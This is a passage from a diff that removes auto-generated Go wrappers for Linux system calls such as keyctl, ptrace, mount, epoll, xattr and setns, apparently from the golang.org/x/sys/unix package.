--func keyctlSearch(cmd int, arg2 int, arg3 string, arg4 string, arg5 int) (ret int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg3)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(arg4)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlIOV(cmd int, arg2 int, payload []Iovec, arg5 int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(payload) > 0 {
-- _p0 = unsafe.Pointer(&payload[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(payload)), uintptr(arg5), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlDH(cmd int, arg2 *KeyctlDHParams, buf []byte) (ret int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(arg2)), uintptr(_p0), uintptr(len(buf)), 0, 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func reboot(magic1 uint, magic2 uint, cmd int, arg string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_REBOOT, uintptr(magic1), uintptr(magic2), uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func mount(source string, target string, fstype string, flags uintptr, data *byte) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(source)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- var _p2 *byte
-- _p2, err = BytePtrFromString(fstype)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MOUNT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(flags), uintptr(unsafe.Pointer(data)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Acct(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_ACCT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func AddKey(keyType string, description string, payload []byte, ringid int) (id int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(keyType)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(description)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(payload) > 0 {
-- _p2 = unsafe.Pointer(&payload[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_ADD_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(payload)), uintptr(ringid), 0)
-- id = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Adjtimex(buf *Timex) (state int, err error) {
-- r0, _, e1 := Syscall(SYS_ADJTIMEX, uintptr(unsafe.Pointer(buf)), 0, 0)
-- state = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chdir(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chroot(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHROOT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ClockGettime(clockid int32, time *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_CLOCK_GETTIME, uintptr(clockid), uintptr(unsafe.Pointer(time)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Close(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_CLOSE, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func CopyFileRange(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_COPY_FILE_RANGE, uintptr(rfd), uintptr(unsafe.Pointer(roff)), uintptr(wfd), uintptr(unsafe.Pointer(woff)), uintptr(len), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup(oldfd int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_DUP, uintptr(oldfd), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup3(oldfd int, newfd int, flags int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP3, uintptr(oldfd), uintptr(newfd), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate(size int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate1(flag int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE1, uintptr(flag), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCtl(epfd int, op int, fd int, event *EpollEvent) (err error) {
-- _, _, e1 := RawSyscall6(SYS_EPOLL_CTL, uintptr(epfd), uintptr(op), uintptr(fd), uintptr(unsafe.Pointer(event)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Eventfd(initval uint, flags int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_EVENTFD2, uintptr(initval), uintptr(flags), 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Exit(code int) {
-- Syscall(SYS_EXIT_GROUP, uintptr(code), 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-- _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(off>>32), uintptr(len), uintptr(len>>32))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchdir(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchmod(fd int, mode uint32) (err error) {
-- _, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fdatasync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FDATASYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Flock(fd int, how int) (err error) {
-- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fsync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getdents(fd int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETDENTS64, uintptr(fd), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpgid(pid int) (pgid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETPGID, uintptr(pid), 0, 0)
-- pgid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpid() (pid int) {
-- r0, _, _ := RawSyscall(SYS_GETPID, 0, 0, 0)
-- pid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getppid() (ppid int) {
-- r0, _, _ := RawSyscall(SYS_GETPPID, 0, 0, 0)
-- ppid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpriority(which int, who int) (prio int, err error) {
-- r0, _, e1 := Syscall(SYS_GETPRIORITY, uintptr(which), uintptr(who), 0)
-- prio = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrandom(buf []byte, flags int) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETRANDOM, uintptr(_p0), uintptr(len(buf)), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrusage(who int, rusage *Rusage) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getsid(pid int) (sid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETSID, uintptr(pid), 0, 0)
-- sid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Gettid() (tid int) {
-- r0, _, _ := RawSyscall(SYS_GETTID, 0, 0, 0)
-- tid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getxattr(path string, attr string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(dest) > 0 {
-- _p2 = unsafe.Pointer(&dest[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_GETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0)
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyAddWatch(fd int, pathname string, mask uint32) (watchdesc int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(pathname)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_INOTIFY_ADD_WATCH, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(mask))
-- watchdesc = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyInit1(flags int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_INIT1, uintptr(flags), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyRmWatch(fd int, watchdesc uint32) (success int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_RM_WATCH, uintptr(fd), uintptr(watchdesc), 0)
-- success = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Kill(pid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_KILL, uintptr(pid), uintptr(sig), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Klogctl(typ int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_SYSLOG, uintptr(typ), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lgetxattr(path string, attr string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(dest) > 0 {
-- _p2 = unsafe.Pointer(&dest[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_LGETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0)
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Listxattr(path string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(dest) > 0 {
-- _p1 = unsafe.Pointer(&dest[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_LISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)))
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Llistxattr(path string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(dest) > 0 {
-- _p1 = unsafe.Pointer(&dest[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_LLISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)))
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lremovexattr(path string, attr string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LREMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lsetxattr(path string, attr string, data []byte, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(data) > 0 {
-- _p2 = unsafe.Pointer(&data[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_LSETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func PivotRoot(newroot string, putold string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(newroot)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(putold)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_PIVOT_ROOT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func prlimit(pid int, resource int, newlimit *Rlimit, old *Rlimit) (err error) {
-- _, _, e1 := RawSyscall6(SYS_PRLIMIT64, uintptr(pid), uintptr(resource), uintptr(unsafe.Pointer(newlimit)), uintptr(unsafe.Pointer(old)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Prctl(option int, arg2 uintptr, arg3 uintptr, arg4 uintptr, arg5 uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PRCTL, uintptr(option), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func read(fd int, p []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Removexattr(path string, attr string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_REMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func RequestKey(keyType string, description string, callback string, destRingid int) (id int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(keyType)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(description)
-- if err != nil {
-- return
-- }
-- var _p2 *byte
-- _p2, err = BytePtrFromString(callback)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_REQUEST_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(destRingid), 0, 0)
-- id = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setdomainname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETDOMAINNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sethostname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETHOSTNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpgid(pid int, pgid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETPGID, uintptr(pid), uintptr(pgid), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setsid() (pid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0)
-- pid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Settimeofday(tv *Timeval) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setns(fd int, nstype int) (err error) {
-- _, _, e1 := Syscall(SYS_SETNS, uintptr(fd), uintptr(nstype), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpriority(which int, who int, prio int) (err error) {
-- _, _, e1 := Syscall(SYS_SETPRIORITY, uintptr(which), uintptr(who), uintptr(prio))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setxattr(path string, attr string, data []byte, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(data) > 0 {
-- _p2 = unsafe.Pointer(&data[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
